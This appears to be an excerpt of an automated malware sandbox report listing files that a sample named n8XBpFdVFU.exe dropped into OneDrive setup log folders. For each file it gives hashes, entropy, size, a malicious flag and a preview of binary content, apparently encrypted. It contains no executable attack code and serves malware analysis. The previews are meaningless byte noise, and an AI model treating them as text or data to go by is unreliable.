Preview:	EBFGO.a@.(b.....+..1.(..W^....7..Sw.c..6.$.Ht0\|..GD..A..9...X.....p>!......6....=.k.......?..@.d.t-b.0.t...... R"y.v.(+.L.....v2..i...p...W..n.T...I...3.-..b%z&...Q/.._.".4L..9.l .9....>.^Fk3.C.ds}...I...3./.a5_+..Z:C.^...A.#V.U.........!....Luj....q..........o..g#,...W.[..&7(..H....b.X..&....k7R..'0...\|.#...PbT..J...(.v.......8.-.}<^.Gk.."%...........n...9..../....?.3".{...C&n...z/l....7...).....d\|....ck`...:..t..F...zu.....>..N.o....S.\...<.....4.m.......`.#.'.N.6.V\G.Q...AU....'5....4.h0.):s..@d^....b.U....=...Wx. . k.o..!A...<\|.$.'..M.....8ke...%r.3......25.l............K/...z=2.....~3f.[.....A.Y....'...[_..J{.*.)f...:s..Z.E............A.ir4.!.O.d..#..D....a..r.dC&.~.l..C>...QW.?...E..Mzq..O.......%F4^CM..F.\B..c....D.....6=;...H..T........R....Z.3.T....F.<.S.Jw.....j...Mi.q..:......M..o2.>.d.....d..inee.n.......C...h...1O_..........+C.SK........I....?v...L.DouR.\|......P[m..._..7.u6.+'.FKN.6..0.%....&...h.s../._.N..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2793650673748933
Encrypted:	false
SSDEEP:	192:RxDMnaQ2MZy/7pCbF9bMNLplMUHkY+b5HmEesepkzwRGG:bMnehjgXMNLQhZb5+1p7G
MD5:	216DE49452765CD87D343B42E3729F77
SHA1:	727B3065F6D163F45429B0D8A7FED5CD6E9C7BFB
SHA-256:	9EB8973DA81A742A477708AAB50984E25BB1CF1E836B81A99D126F42213514C6
SHA-512:	519BE07A3CE86C4F24DC88C94536E27DE39EACC12C207F31742322AABE9BBFE69271A584395F1667DAD4804A84CA599EE256141AFF2BF0F0F1A827C538343267
Malicious:	false
Preview:	EBFGOC2...SE:...>....c...0..E.Z>. ......'...f...x..n.T.1dr..e.!......8..v....=.C.&.....Xp..v>..Q....2...V.......f.$..\|..[2+.F.&...+..\MpH.........N}.".9....<..0h......(..\.C#...6..b.oB.n%.Z.4...K.....I=.\...{.%.{.~..q...8...X.(M......n..i..9.,...@J.k......O.U.2z..........X..P.~.........RK.6...q..{P.ex.f.C.. .Kg......]...H:.b5..s..=5.v.6.m.K].\.............+.h....`..4.........H;....7..0...w'C....../.Kr.?k:....=.)~:..Egy/.@..v.;`M.3(.M.......;....@.@....:.d....9.......5..h..v..W..N..P....s...\|.C.+...C5i.g..+....j.gMF.v..X.$..)..3.1..-y.....T.. K...m........id..>....(......ML2.\ G..J..?.Vj.~.........[..)..U.....k...%.k.9X.K(W}.j..q....g.9...xOy2K.WF'....+&.... V.#..8.W..../...KD..yd(Gz.z.U.K.....L...4..m..n.......$.eQ[.tW..dgE/z....0c.$.\..g).r{.k...P`.&.S...@Ai.....9r..T..<3M.*...x.'.3..-k;.V.$_.6I.....t...}..+.4Y0w..J.....W.v!..}.M.$...k...).(.\&....7A. ...../....../?.iJ#..a.........8...=...z .......M..`.H.......n...U.4.D..gE.L%.....j.X

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.8932517714354815
Encrypted:	false
SSDEEP:	384:TIW0FHlya0qnFJoXZFf4vOScc8aLnFCRk4ilEbD/fa9:0ya3F2ZFf4vobowW4iCbj
MD5:	49814A685193622BFC5F549D657A0780
SHA1:	29340937A66590DC6C5EC6087F0DCE6122BF2A6A
SHA-256:	8E94CAAB9571E63BF3985A827811B2141C077309EA33D16CD69A341D19F410B4
SHA-512:	71B66791CA8A84A5DA37C26EC4E432773F037E85C37DC5D995B60AFFF50057CE6ABF7DEE254906447C284134785C366A7F6B0002EADDB1556CD18526670D7FFA
Malicious:	false
Preview:	EBFGO.3.UJ...x.E.(..%..OX.....J.u..p...-...5...{C..^f...y...z}&py...,.jG..d....d$...`..........\a.-....;...C..e..n.#..HMF+...s....h!.Z..lil:.o......B.......V..mHz...+..J.n.!pl..."z..............h....ww..C6DB...b........)'r....T.........../JW...,f..$.{.U.]`dm.b..gFm.R.....Y...5,_T..`.r.JZ[.r...\D.wb4....N.% ...>....'/....8...p/.j..g .......l..^....i.&.1..t.rs..<.....".s..{._.Kr...*;....j.4...l...!Q.O.U...{..3...D.)..........YL.l.9...1.[A.jS...p....Cfb.8q.Q....x.#N.b....\....7.e`.,..x.....#odK...]w[.....V9.(.^.D;.....Q.....q...h.....6..M....lCS..6.k.....s..v......uy@......~x./..g...=..6..Q...du...m...&m.8\|/\|...e. u.p..}..D..#\|._..c...e...nb.F.9{..2V....i..4y........%..1=...n..qaQ..Y.2)[.#......p.W@...MH...".Sh.d...^;O.z......J:8vT.zW..]{4...3.,.s..R)...g.....(..m.,JA...N.Iu[B..e(.u..].1..1.....M...'.z....K.O...<..k.L.n\|.LY....M........^.mq.G..~..bbV.....O....u:.rV.+...."36....B.O.[.=^Y....LW7....oahqo........~.v.\|}..E;...l....h.A......

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0137215359532177
Encrypted:	false
SSDEEP:	96:P/dmbMhDmvPsj35sxK56HN8OhF3C8AKuaXK3qv2kM5upb:QooPsjJsD3Tu73A2J5u
MD5:	C2954D734D050035F76E7B987A202A99
SHA1:	38DEC82FF3E68FF9053DA3846F161A54182F2041
SHA-256:	939D48271779043DA00578C8029E5D26C52B1516F5149F280E81D685B915DFEE
SHA-512:	EEDD62D880A665BB3167712E923969ED094746607521A6D691529A3A130217C05B19276E61C4F6A245A916A69AAB817323E3BF44B291BD228E4064DDF331AC4F
Malicious:	false
Preview:	EBFGOH..2UQF.._....&...K.4.....Z\|8x[.....s.+.c(...s..C..mZN)..3....N^...u..O[....8(U.m...YtZ./...u2$3F.I}R.u..%.......-..R!...q5.U........<!.......k.8<../..N$H..H....4.....i;....}....w..."p.....rut.........[........}..k.p.0...$rrE].F.YR...4..wj....N..V]z..f.U..V..../....X\..M...I..{~ki..I~Yb1.}N=...F.. ...v.2b.....y....'EZ..BH].J..b.i....D.Y.....J.L.%..@.j..s.......-.e2_gt....C?`.DH_..K..0`..&}..1..$....}3.....@.E.%...D..4d.]..y.......2.../i...C...!..s..........7t ..z..A5.9W..^.Wj.%>r...s,6.wu....!..,...B[..X.F.....O)."..:a..........?.....R.Cv.h.e.d!....U5....#.J+O.L^.5.K.,..9...M.....X..........e..C'. ....t.(.../.$l7;=.....h....l......l..j....%..N.....98.i. ....yUOS...h\..g@..Y.5._)..+o....:[G.......t......t.I........Y5.....A.b.R..$$A3.....v~.....4t..a...[..]Kgo....V....8= xB..L56y..6AC.H`#..P,....]Gl..mW..@>.y.T.D!7D..@..m].......7.~".[....&}...&,3P...O.J.....&..+%.I.\...Y..G.EE.k.y...l..6P'..u...w......+@....l.x.=.H.&....B..hg.y+..x

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2055470985331911
Encrypted:	false
SSDEEP:	24:4D/YkvF98bGqIYp6mp04XSTFgnRHzLo8zijNqJN6miHbz:k/ltCGzEN3rnXzipu12z
MD5:	206048419DF6F2DB0F3B16A0953FD52E
SHA1:	94FF1554B741CA63F1AE59441BB3AC78772BBCEC
SHA-256:	617B320F68C035F8D9F8E7D7CEFD102F41EF02DABC305EDBE5CC508BF4AA334C
SHA-512:	6864765E87587F85973258E36A74983F61F1B44934D6E090AFAF597B9E152E8EC59528129D7E852B970179230103B271FC70C97A06FEF311152DB45B0E16A2C1
Malicious:	false
Preview:	EBFGO.\|I.4...u<.U..LN.9.....1......r_.........{......#.wk-@....Nz...v.!..A...hR.A>j...HU.....uO........4.3.4...A....]..(5....s.^se_.x..Z9.......8n.V.4...(T)2.!.\..G}...}..v..c6[,O....$....B\|n....p>.../"0 .V~@Y..W....<....:/..cV...x....:...1..b'.>....C..y9_AH-..=....a...]C...W...~r..6u...]Q.h.\|..K....\.}.....j..Yz{.h..T.......<z....{te...d.tC.w.d.U....#.G..h..%....~....#.V.Y=.S.c.\|.........UA.....?-yn.PHM.......W.Wv...)\|......[..;..gm.....2.#@\|l.[..o...-`-..xD..._c...u).c....S}3..m.<.N".}.u.KKl.z.z...b...O..J..lS1e..a\|...D..:.._Y.V.0...d.....74..C.....V9um(.....$....i.!f..?s...J=T!n.v..qT$..#...9.P.F...0_X{j5....=.......`.x.....l...<.....r......4.2.dy.r5.....[k.~...Y[.\~...F.\|........J.....B...I.Q...d..*...O....q....Gk.@;.G...o#j.$..BPO[.../AL.=...d...E.+.A.,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.690738398102738
Encrypted:	false
SSDEEP:	768:nkXCeaexVE8cjOooelwWQ9w6+v+wTbJeFCfS9j:nkXCeaevE8cio2LSv+wBaCK9
MD5:	F1928851BB7E7AA5C64AA3614EFED23B
SHA1:	D934F76E2F6BE1977646B0545ECFEDD0D82F3692
SHA-256:	0509ED0A60F4F997CB9E8C46029F944F8907B1E343A1AA16678B08E73EAE9A42
SHA-512:	EC804B6380C60A8DEE287AFCEF6A8B747257EAEDF90E22045085B6CC9BAAD06A08912A87BF917E625BE4C8C0A8A4C4563D59819C03D29C03EB3E12B563FD6354
Malicious:	false
Preview:	EBFGO.j.4D.....qJ...m..V...l.6.........M.`HJ.y.f{.}.:.H......hMD.kw.........K..C.g....c.a4..&.Kl...`.."\...3...~.n..l....l...v.....E..h....P..(.m%..?..Au....Mc..9..v...v.....F.<n.F.....04...a......t...KSW....r^.-..n.....eR6ph.I5.S]:N..C..]....F..@w.1...>...H.o./W"......s.#..,.t.....6].d.\.....y+X.Y7..}.g..qu.2lE......<.~}.....+..../v.K4....#...?@T....}s....~n.(].V.n...-...K.............^D.2.... .U6.u.>/_.L..........a5.1T.$....:.....^K...g...~a.JD.....Sp.W....6K$.$....Vf...`VD83E..8.L.....t.)e.n.....v..f.4)..Cj..b....r...S.xq...-...m..nsQy*..6..n.0t....v\.i..0p...m..s....k....P.......X.\|.z(...;......S..dw^.>.(....1......Bk.9.sol.pPE._.ql `0..b..mS.H....w.wf..A.1..@y..B............K... ....vG5r..G.....,N..\|Tu...=.X.H....y...v..]...r...l[....Y....>..Au......cS.o.xZw9.^ax...C....^.2P\.....T:DU...k<...k.FU..0MY.cc=.T.z/.....z..[.),.k]8...o..{..D....d..e.}.:.....I.Z..%....5....WTg..0s..t.m......'..T...+9Nz.......$.t...;T.j.j..I...t

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.27065024771214635
Encrypted:	false
SSDEEP:	48:BOwXqlqRCrzsiv5rHdcg5mPHHqCTe0vD8gaFv+z:BYoSnr9x8PHKn0YF+
MD5:	D3138C1B36DE29B243BFBD1B86712CA4
SHA1:	1147A6360090FE18481FF68FE0BB492BBF358714
SHA-256:	BF3EC1B3DC4C5A6B43CCE41D560F4278FECC0D4D8E6BC894806CB48C430AA81B
SHA-512:	1EDB728AECB564209998594E39809B164263F0D165266384DCB93B43B9D01F3F7E3905A6FC88CC7CE0DBC750DB2DDA4258DDEC0131E3CB35E09E0EF6916D7232
Malicious:	false
Preview:	EBFGO.I....H.M.....Qo....U..>s.)N.]..../....V. ...IS.I.\|.3...O....;..6.&%.<G....N-4...a...Aw.(.0.b.....v>....;M.W......g..............x.d.c.=.......5a.5...2.I......{......6E.xs...&B..F..r..4.^N.j.....b.;..V:.wRS....u.1..2..h>.R..V....._..H......1...:.-.D.\|.....,.x..~..\|....N..iJ.r$T.ZD......(Q<..B...6...T.Jf..............P.=.w..D2.o.g~......\0....0....q!WC...K..D....,..(...$QM..3...,&1@.......E...$n...w.1..,..C9.K.....3_..z.5B...wr..O.M..}U..W.Rm.V...3D..Mk/..W...d~.......U..;......0.s..w.._.F...c.GK4...R..Q.X2.N..J.\J.Dw..%}q..... m....a...f..`.............'.....[.. .kW7..r...HH....Z..uw^..k.......b...a.e?d1...mvD..H9.g.k.iT*...v.._ln..........R..?.`..S5.!.Z.u...~..y.0........k.K,.P+......U.1...MD<....h.....&.dw(..OL.'...0.vj.'.7C.J......i.....pUj~......1.\|C..Y........k..F>[0..IL.[.}DT....;.J.. 9..f..a......\......:.H.w..9J.CN.$)..u.W%]...g.?/p.2....q..,.&..n-..'G.....n."~'l0..zq.....a..`.m.2...#....s..yjd.@...<.z...A.......fk.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.911160256393982
Encrypted:	false
SSDEEP:	3072:QyN2kasj2XxdvVYu63KJO3FpB3XrP90JL2a:QyN2Qjaxxsdr9yJL2a
MD5:	29D3C692B45AB731BDF38CA73D4B0594
SHA1:	9CCA00D566F36FFE4D9EB6548667AA8F85FA04A1
SHA-256:	DF5604525EBEB5E429435F51A1506869A0E956ED5319559DA8C551238C046C44
SHA-512:	CE3C4C6205C62878CA2DB585A9DCBE57CF859117DECBBC0BEA55278F05FB1CF6C783C15561697D994CD65BC86DD708E89506977B141A9402AD896710803C5582
Malicious:	false
Preview:	1.0./..Q..4...h{dgmtlO.......XQ...w._..K.8\../c.....:....,o...qk.?W./.(.....1.A.T..<&.k^.X.V.?{RW....>......} .3WH/...._z(UL......J..N.I&DaN.......QM...P'....N...c.k. #.,#....%.Q.$..yu8.Z.b........QGM.....s.+...n..p....UbaNx..8u.........Hb&....Z..%.G&..H%Pi.fE\|.z].5...!..q..Eg..Z_q..jp.].j^'3....v..w.....$+.t,s...3......t.W...f...{.....d..c...M.8=.}....;O..'....R.r..u=...`..5h.G..0.o.....0......2.......Q..g.....}\|...O.\....c..N.....5E./e....2VMH5.!P.../i...c..ZHc.Hi..H....R...^....o..'.U5~.Di.9........ .#.\|..X.\|.H..W..T.2.W.......r..R....B.G]x.........8Se\...."........I.E.>.s.+.{f..Y...........UR.{...%..N^.w...D.Z....^Ag..b..v..OWK.+F........=(=...X!i......M....0,_.T.@.#w.....'=....d._.C/..+....1.9...y.....ym.3.....5]C4E.......=[/m...fTvt.f...=. .....".....Q....y..:.N.iw.,I.b..."....J.~.y:.s*..k.0.....q...{t....0.={....m.'..n..q..ve......".f.%...C`-8...$3H...e......f..y....Wr.[...3..$..h.t.h.../.,...+b..........%.Sw.."^..X.......k....>...F.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.793587707074766
Encrypted:	false
SSDEEP:	3072:3lNCd4H87mW97NeGNVtJHHOS95tAiajurtVd0I+j/9DS/dUwtN:V02E3hzn7Td9tVp8S/q
MD5:	27FAB665B0F5F3525FC62E39899D448F
SHA1:	2F14105A4556332C0C30F24A140E1D24BD7B63EF
SHA-256:	49B0843473CA3B12FB99F534A307F2979C5C47DFC78B59D69CC23858601D355E
SHA-512:	A6B2CCD341D2AF5CD1654A2250D33BFE30032AFE0F361BF6D9BDD050E749BADF0D9C637975FE201196A52735849CBAEAE958CEC3A76B216D838F4C07EE65C751
Malicious:	false
Preview:	1.0./.....F.0.9.#&.4"0.:...)..K,UC..>N"...{..&#N....ol......d.OC...).J.'.3#..Y.sj.[.V8..b.kq..1..L.....`...9.{X...h.....K...+..y9.>....\...Q.T...p............o1...+A......K..1...L..#.xS...+..6L...c>7{..{....x.......i.._.."....@h.....8.+.N.C..r\|....\t.U\|b+.$.rS:..$V.9}..[...J.{'......{#.#!......W..{...[9..H..j..........iP..o..K..'O.H.T....C_.6.)3U....5.......\|>Z..L...<9--B.4qxV).E...t)._...)f&.i._..R....7.[..q.S.m.7ur..\|...3..=8iO.......5........aP..g.].U..D.y\...lW..q.Res.AW..Ci.".@.V...d.t.I....rNu.,...x..X...w...iWPlk.a......G.T.a.](c..-j.f..lr7...z.4..O.......2..H.[.~q+.a...y.S..J.'c.].^lz..ZU.'.bS..U.5}.J9aTD.p.......O...j..h...3...bKx.-..e..S.~..........(..L....X....F...j......Y.).I........x.J.....a..B.k.....:.....E.G.h...=.... ......."....#..#U.iW)3.ZF1.......h6....5..'..:....V..5.!3....]...T^.1N..N.^.u...hO.......-.K)...]A...4.....i...9......X.7.Z ..@...%......Y.......&.....B0...f.]..t..U+.w....5t....4..i.W...@:...... $...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.650725050738456
Encrypted:	false
SSDEEP:	3072:+T8BfvI7uV+WtP5j130ane76uqnxyCxS93:N1uu/reZqnM93
MD5:	8972FA3DC4E6F18C1D90908AC7CA8D2F
SHA1:	8D438B1E4DCDD306EC49D46AB9EE343AB6B08D03
SHA-256:	27159EC35E5FF8C7CEDEB222FA7092F7A01A94167F0ACE0F70F4A75D97F5C713
SHA-512:	CDDC380BBC1B7279E39BECD2EC58A7DFA029C84964D3A87A44D6E168BF28A5D6439DA0C236C5D8C4963A57DBA36BD24B81894EAF447E20AFDAF1D0C1597469AB
Malicious:	false
Preview:	1.0./...e.A..O.. c..:.2..s....^....P.^..n+....]......v.6a.....E..(.9.<....l.eG..W.MO.>n..S%..S..]m..=)....U\q....?..g..!.........y.l....O4...S...rE....f..a.jK...k...0+...Ie#.......}[...k..N...B.V:L^K[....)Cv.N...]*0......!:9.....oy.fV....VI...x.Y~.)..j..'..7...4\\|?.gZ.+..>..28.}J.8Q2=....D.C.~.]..?.=.9... V.U.{"....RT.....U\|>.,E..MI5o. ./#.{./f.5...A^!.<.............t..K}yKg..ce........!.SJF.S....[N^...H6-..7..~.U..5..(.......j..>...&.y....$.b.he-..p}f;....W{..{....l........Z..1.......e.xF...v-O.,.t3.-].U.....d]N.....Ve...._..A.`<.f....W.Y?8....9P).!...H..<...4&G...>.8.".....wp.c.Q.%.=uMFAB...D.$.Y....@...r.._..2...{]Y...(..Im...T....i..9./N../.W`.p......(#.jCk.i....(..$....{}.......!H.}.g.w{..z...{+`.~.9..6...;...\d..321..b1......(.uc....v+)hY.?........H.6.n....b....l.....0:.b..a.+)..V....>S.#`....tY.".z...#.....9.@..wV.]...i[.~.qA........ET......}\|\|...AN..1.!...H.w-F..D\).(3..@..{jp.,...K....c.-hh.]....sPF.u...n...V..5

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.9950935905494935
Encrypted:	true
SSDEEP:	768:M2JJc59JDhoLXYhvBrktd8n6DL1ic9eVWEb5IGbDouTT3diH:bu9JdaXkBJSQ5IA1Q
MD5:	4C6157C3A24D77C5C28DD6F8E59AB987
SHA1:	3FF4B6E8B9553DE335CE4829308296E32BC81390
SHA-256:	D048A570D8826B38CA8C94CB20B9AAC558C56734648A490F9F246B98F0A937B9
SHA-512:	0854AEFCE02B4594251805960ED63085FBD8093EAFFD2B74267D43C60EDA4B494B736B5AFEABB53EC87CB3FC1E35F113A18807333666C75DE39CB53DB53971C5
Malicious:	true
Preview:	1.0./..vq.IzC(.DTDq...h....V#.../.#.3."......F.R<}...S5.Q.@...\..%.)qqI.8.oP.v..o..&..P.. ..[....S.m\..,..\....G'.C..Y~.........[.U.E...-.~z...L.8a.0:I..N.f.b..>...D......!V....N.....0.;..AD...........M.7.....1A.a7..p.......1e.q.....rk.8.?.2..).....V/'s.Q.{.L.;..Lo..(....:U.....H..Mz3?.`..[i[Ei..^..f..XW...<..;...\|p~.(.......V..8.......L.%&0v...oq...e.....\|...x....&..w&.;g....{...ja.............hS......j..-..H.T.....9.}..g.Z3..u.B.>!.T/...kF6.....m..'3..Ma.7tb].Ko.K2.....#..~.X....w.[.p...5..J"..+.tQf..~...D_..0.....Ns..........3.e.Z.U._..." ,...1....0.on.Q......o0..h.L>..~E......6.c...<p..GD..;v6B...J..ft...>..4..$.......dg..F..x...;......b..\/.u...Q....A..K...$._wOr9...As.;FR....c[.5A...!..fO]8..4#.x-...-..311C[..u.\|..m........M.e...z#...s...8..Z.....$[I._..i\ N....9..y8.`.....T.u..I.).tf.=.j..c.u.W.;..[.............dUb.-..`<.0X...`9.l..t...7...X.#..q.P.>;^.#....g.g..N.%........K..}..lub^7.U1.V.M...B\oX.q?.^,J..'p&.H*>..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.499776895828932
Encrypted:	false
SSDEEP:	768:4ek4XGfJs6zjX3CjqOxheO/WB+uIY73V/3:pdGfh33OxIO/UIYp/3
MD5:	3CA33ACA185045046AB6FA5F309C5C19
SHA1:	CC611B16BE93F7B65024BA1E618E6D91D5399C14
SHA-256:	4F0E33D9BC247114D27CA6F398E2B499C9809AC2BE72756C2A0FE6F8B0E56FFF
SHA-512:	59B4731355C2826D387ADBA9FD57E21940BBB2605BC6020C4F6F37D1873B0D968B5EA9773E4A15FD0B1F0120192BB5C362EACF968DA4EE95D4A4F7D082DAE6EC
Malicious:	false
Preview:	1.0./1oM.a[.........\|......q.s.1p..9..0w.j,.)e.PC..c..N.AFg...b.p.N.T[1.....-.Z....0/..d.f..N..y.Y...rE.D..Z,P..........v....K....7"V&...m..._0...].u7...,".y..LWe.o...([:..........:..r..S..s....,..,.sAV...%...1a.p...v...!p..=.....E._....Lo...cm../P..#ZC....QM`..w:{0...m.d=Z.....f.P9...4...l[..H.7,....)n.k.X<.0&.#..L=C.d4.%..<.;.q..~..q.~.b...d........!....]?M.&..!0.....=.#p.f.K.U.x^....o..O.q..9.s...ow?V...&...9......)..>..3S..m......8.....w9}.Z..j.....$.{^..0.on.... ..CjeS_..F.+Q.xz..F3P..(.]...548...M....yf..s..j...n.x..+.:......v..k.F.2uxvV0...M.p.!,.........s.....Q......(..u.p>Qs..`..d.(... <D......Z........X.h)@L...........A..b.\|p[,............d...>...w...j.L....=..y_.g.......S.....O.0.E..Nh.oG..@N..?o6.......=$.$.:.M..q.BVK.8..}.=.0.[XCw....e.7A:LG..@.~.6.!J.78...".7\..F........F.. !u.y.EF....F..........=...Y.:BR.\|.U...L:)...m..<EZ.p'.....w.\|!\SP;..K..n.n.T.....g...6nT..._Z........?".2..~.A.....?s.2f...5...CS....3...r...].

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.627113033147085
Encrypted:	false
SSDEEP:	3072:TajNorQPfSWsT58Z7Z09T/40xWAcxjNicBblwb:Taa8PfgS09740yjNicBZw
MD5:	C692FE9B1E6E3535FEB66FB601B2ABCE
SHA1:	CC4BE7492FEA27360252C712B0F0B492BF9B6ED7
SHA-256:	D8B07DA5BBE986FB3B586EBE58DF9FA19ECC52E5E17E617A4552DD7C9AF76524
SHA-512:	49639950840E1057EE7B8C1502DDC3111B25E99B80BAED6C7A0B8DE0BCE78BA4F5B2700BD5524465C924018276A1DBCDBF43E0D22F2EE1D59C245E5AA31A475C
Malicious:	false
Preview:	1.0./.%o.(..b"!.&Hy.IK......P.....(.$.K..sm...........1N..w.-oG..??...;2..k."C..R....}..7.[..,.[.%U._...99...N.%Y$....+.A T:U....%.2....)..6.z..l..S~...w..r._.&0.q?....".u.....R.0..z.....R..4y...6DV...kb.b......J.......g..).!T.vo.L..#.rNh.w.2...w07.o3g&H.K.P...6.`7~h.W.t..../... ....AT.......U.~..Ef.....n.$.iE.z.poY...I.c..x..4l.C..1.......X..c6.F..I..(.d~. .$r......#..~..7.v$m.......3~..!....V...xA.Wd...>.+h..M3Q*.a.F?.O\z5....d.Ooj/F.....w..7.2$.......y...-..q .C.W'.#.8..C'b.\|.z..#J.s..f.Y.G.....B.H..Tif...S.c.2C...K..'>..P#\|....(...l.T.Gq&......./..;jG.YZ..E..\|Q.G....K.._s]m...&.]..)...u>]..yw...E..B.......!.&4....`......c.M.j..=By...f..wR.w....c.6..9m5.Q./.r.71Q...!..;....C..=.m..Cs%........h....s..\|.X.6..9...uf..dB.\|...<..f.v. oC.).e~..K.N.w.x...)>...\@...\|...,8......i_.I.F..L.Db.P...~.3..E..j.=.z.......q.u~MR....S...~...L........+...U.jN......S%.E.......m....+..'..3._..T..z.m.w..W.FU....#....UZPJ.z..........r...s.w.+=._....Rc....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1007769988456486
Encrypted:	false
SSDEEP:	384:2s8EOeGsWe/OIXQcx9Q+7+28z6Xb1YuOrc9UtLqZ7:f922vN7+28m5YuOoEQ
MD5:	B01A24A7053311B7958CD736ED40F370
SHA1:	AB163AC492EA0CB1236D70B0456F33B1F03835D8
SHA-256:	0CEB0396588BBC78499B33C912EBAFB5D77AEE3AF1A55A71057F2C25D3C92F60
SHA-512:	B1678166E95F53DB3E82A093FA360DB9CC6A5CD2C58F3E0D687C0814A845134CE7F693FF0D48C9DA64C8B5F8E22C1EF8F531134C33E85A0E90E4FFC1B9C621DD
Malicious:	false
Preview:	1.0./ Jt..W.....x..tr}.".....#.Y9.P..p.Z..`....c.9iy...(l..^...#.q~...".iw.3z1...S~..$t.....S^M..-6.7....w...h.5cP\|..~..OnA.\..$...8...9.....'.G`....0..f+.u..5.....L.q..[.8...=B.......o.[..f....}o..O7-..pt8.pP..__,3......%'.^.=.$..:.!!..X..yY-..P...[.>.I..... K7=.nk.f....u..^ueYa.N6..4%e.SzSU....^b.~2..+.0.v..6w..A......2../....... .B.G.6.U....~.LI..R.g.Bkx.)H........Q...#XZ....!3..-...E../..9^)O..Wi.r....1^.J.3...5....../[.......\|-...Tg.c.Z..'.h..f..N.X..Tr..X....?.C.c.0.2.4wt..e.i.H/.'.%. ..G.O\|..S.>..Th~<.V.t;j+...m...<..q...t....f..h..P.6*..+..{.'..D...g.e.. ...o.......\|..x?.B.Z..T%4.UtB.U#.;W~.\|h..$.g..uo...,\|....1.C..H..r....arg...j...6N..d./....:&\.yN<...~...(.Z.Dy.)`_....W.l.....X.P..6N............n..d.d....`....].:q...X..N.lq...W.i\|..$.x.$....Ac...:.h...pO.eYiD.Hw.6'.....F...^g.T..\......0<..N.XH....t......o..@8(f.Hv........2.z.7...MHub......0w....[.3@........Xw.5D.<.?....MS.....%.....6..Y.....e.B9...ru:Y...]...m.@....L

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9652036321926448
Encrypted:	false
SSDEEP:	96:V7unVDHXtc7Y6dItgoC/qI8dOY2w3dwOPmjLsx1CSe+CsROkcIEhvq:V85KUtgWIq3TOj5SssR7cIE
MD5:	D5DA6D9493965830A6A19C69C73777FB
SHA1:	2138A23C3B6EE1C3DE6B8294FA2AD3291CBC5E16
SHA-256:	B3AB026BC2BF91DE47710F87CCF094E6EB7D30D82DBEEDB80660CF9FB5830F8F
SHA-512:	65000D337880FF6FA889A7EA5814482DC3FBF8F52391C368D1E8794032A415E0B1150FF3E552219373BC3FDF2AC07A0BB6CA06B3922FD090A759BAF079510968
Malicious:	false
